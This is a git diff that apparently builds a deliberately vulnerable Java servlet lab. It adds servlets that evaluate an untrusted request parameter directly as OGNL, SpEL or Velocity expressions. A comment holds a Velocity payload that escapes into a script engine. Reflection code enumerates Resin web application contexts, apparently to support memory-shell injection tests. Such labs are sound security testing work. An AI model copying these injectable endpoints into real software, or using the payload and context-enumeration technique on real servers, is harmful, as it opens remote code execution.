import javax.servlet.http.HttpServletRequest;
|
||||||
|
import javax.servlet.http.HttpServletResponse;
|
||||||
|
import java.io.IOException;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/14
|
||||||
|
*/
|
||||||
|
public class OgnlServlet extends HttpServlet {
|
||||||
|
@Override
|
||||||
|
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
||||||
|
String data = req.getParameter("data");
|
||||||
|
OgnlContext context = new OgnlContext();
|
||||||
|
Object value = null;
|
||||||
|
try {
|
||||||
|
value = Ognl.getValue(data, context, context.getRoot());
|
||||||
|
} catch (OgnlException e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
resp.getWriter().println(value);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,20 @@
|
|||||||
|
import org.springframework.expression.spel.standard.SpelExpressionParser;
|
||||||
|
|
||||||
|
import javax.servlet.ServletException;
|
||||||
|
import javax.servlet.http.HttpServlet;
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import javax.servlet.http.HttpServletResponse;
|
||||||
|
import java.io.IOException;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/14
|
||||||
|
*/
|
||||||
|
public class SpELServlet extends HttpServlet {
|
||||||
|
@Override
|
||||||
|
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
||||||
|
String data = req.getParameter("data");
|
||||||
|
Object value = new SpelExpressionParser().parseExpression(data).getValue();
|
||||||
|
resp.getWriter().println(value);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -9,10 +9,7 @@ import java.lang.reflect.Constructor;
|
|||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.InvocationTargetException;
|
import java.lang.reflect.InvocationTargetException;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.ArrayList;
|
import java.util.*;
|
||||||
import java.util.Arrays;
|
|
||||||
import java.util.List;
|
|
||||||
import java.util.Map;
|
|
||||||
import java.util.zip.GZIPInputStream;
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
@@ -169,32 +166,27 @@ public class TestServlet extends HttpServlet {
|
|||||||
return false;
|
return false;
|
||||||
}
|
}
|
||||||
|
|
||||||
public List<Object> getContext() throws IllegalAccessException, NoSuchMethodException, InvocationTargetException {
|
public List<Object> getContext() {
|
||||||
List<Object> contexts = new ArrayList();
|
List<Object> contexts = new ArrayList();
|
||||||
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
|
Set<Object> visited = new HashSet();
|
||||||
|
|
||||||
try {
|
try {
|
||||||
|
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
|
||||||
for (Thread thread : threads) {
|
for (Thread thread : threads) {
|
||||||
if (thread.getName().contains("ContainerBackgroundProcessor")) {
|
if (thread.getClass().getName().contains("Resin")) {
|
||||||
Map<?, ?> childrenMap = (Map) this.getFieldValue(this.getFieldValue(this.getFieldValue(thread, "target"), "this$0"), "children");
|
Class<?> servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
|
||||||
|
Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null);
|
||||||
for (Object key : childrenMap.keySet()) {
|
Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]);
|
||||||
Map<?, ?> children = (Map) this.getFieldValue(childrenMap.get(key), "children");
|
if (webApp != null && visited.add(webApp)) {
|
||||||
|
contexts.add(webApp);
|
||||||
for (Object key1 : children.keySet()) {
|
|
||||||
Object context = children.get(key1);
|
|
||||||
if (context != null && context.getClass().getName().contains("StandardContext")) {
|
|
||||||
contexts.add(context);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
return contexts;
|
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
throw new RuntimeException(e);
|
// Handle exception
|
||||||
}
|
}
|
||||||
|
return contexts;
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private Object getFilter(Object context) {
|
private Object getFilter(Object context) {
|
||||||
@@ -267,7 +259,8 @@ public class TestServlet extends HttpServlet {
|
|||||||
|
|
||||||
@Override
|
@Override
|
||||||
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
||||||
|
List<Object> context = getContext();
|
||||||
|
System.out.println(context.size());
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
|
|||||||
@@ -0,0 +1,24 @@
|
|||||||
|
import org.apache.velocity.VelocityContext;
|
||||||
|
import org.apache.velocity.app.Velocity;
|
||||||
|
|
||||||
|
import javax.servlet.ServletException;
|
||||||
|
import javax.servlet.http.HttpServlet;
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import javax.servlet.http.HttpServletResponse;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.StringWriter;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/14
|
||||||
|
*/
|
||||||
|
public class VelocityServlet extends HttpServlet {
|
||||||
|
@Override
|
||||||
|
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
|
||||||
|
String data = req.getParameter("data");
|
||||||
|
StringWriter sw = new StringWriter();
|
||||||
|
Velocity.evaluate(new VelocityContext(), sw, "tag", data);
|
||||||
|
resp.getWriter().write(sw.toString());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// #set($x='') $x.class.forName('javax.script.ScriptEngineManager').declaredConstructors[0].newInstance().getEngineByName('js').eval('1+1')
|
||||||
@@ -45,6 +45,52 @@
|
|||||||
<url-pattern>/java_deserialize</url-pattern>
|
<url-pattern>/java_deserialize</url-pattern>
|
||||||
</servlet-mapping>
|
</servlet-mapping>
|
||||||
|
|
||||||
|
<servlet>
|
||||||
|
<servlet-name>el</servlet-name>
|
||||||
|
<servlet-class>ELServlet</servlet-class>
|
||||||
|
</servlet>
|
||||||
|
<servlet-mapping>
|
||||||
|
<servlet-name>el</servlet-name>
|
||||||
|
<url-pattern>/el</url-pattern>
|
||||||
|
</servlet-mapping>
|
||||||
|
|
||||||
|
<servlet>
|
||||||
|
<servlet-name>SpEL</servlet-name>
|
||||||
|
<servlet-class>SpELServlet</servlet-class>
|
||||||
|
</servlet>
|
||||||
|
<servlet-mapping>
|
||||||
|
<servlet-name>SpEL</servlet-name>
|
||||||
|
<url-pattern>/spel</url-pattern>
|
||||||
|
</servlet-mapping>
|
||||||
|
|
||||||
|
<servlet>
|
||||||
|
<servlet-name>ognl</servlet-name>
|
||||||
|
<servlet-class>OgnlServlet</servlet-class>
|
||||||
|
</servlet>
|
||||||
|
<servlet-mapping>
|
||||||
|
<servlet-name>ognl</servlet-name>
|
||||||
|
<url-pattern>/ognl</url-pattern>
|
||||||
|
</servlet-mapping>
|
||||||
|
|
||||||
|
<servlet>
|
||||||
|
<servlet-name>velocity</servlet-name>
|
||||||
|
<servlet-class>VelocityServlet</servlet-class>
|
||||||
|
</servlet>
|
||||||
|
<servlet-mapping>
|
||||||
|
<servlet-name>velocity</servlet-name>
|
||||||
|
<url-pattern>/velocity</url-pattern>
|
||||||
|
</servlet-mapping>
|
||||||
|
|
||||||
|
<servlet>
|
||||||
|
<servlet-name>freemarker</servlet-name>
|
||||||
|
<servlet-class>FreemarkerServlet</servlet-class>
|
||||||
|
</servlet>
|
||||||
|
<servlet-mapping>
|
||||||
|
<servlet-name>freemarker</servlet-name>
|
||||||
|
<url-pattern>/freemarker</url-pattern>
|
||||||
|
</servlet-mapping>
|
||||||
|
|
||||||
|
|
||||||
<!-- 测试 listener 内存马 -->
|
<!-- 测试 listener 内存马 -->
|
||||||
<!-- <listener>-->
|
<!-- <listener>-->
|
||||||
<!-- <listener-class>ErrorListener</listener-class>-->
|
<!-- <listener-class>ErrorListener</listener-class>-->
|
||||||
|
|||||||
Reference in New Issue
Block a user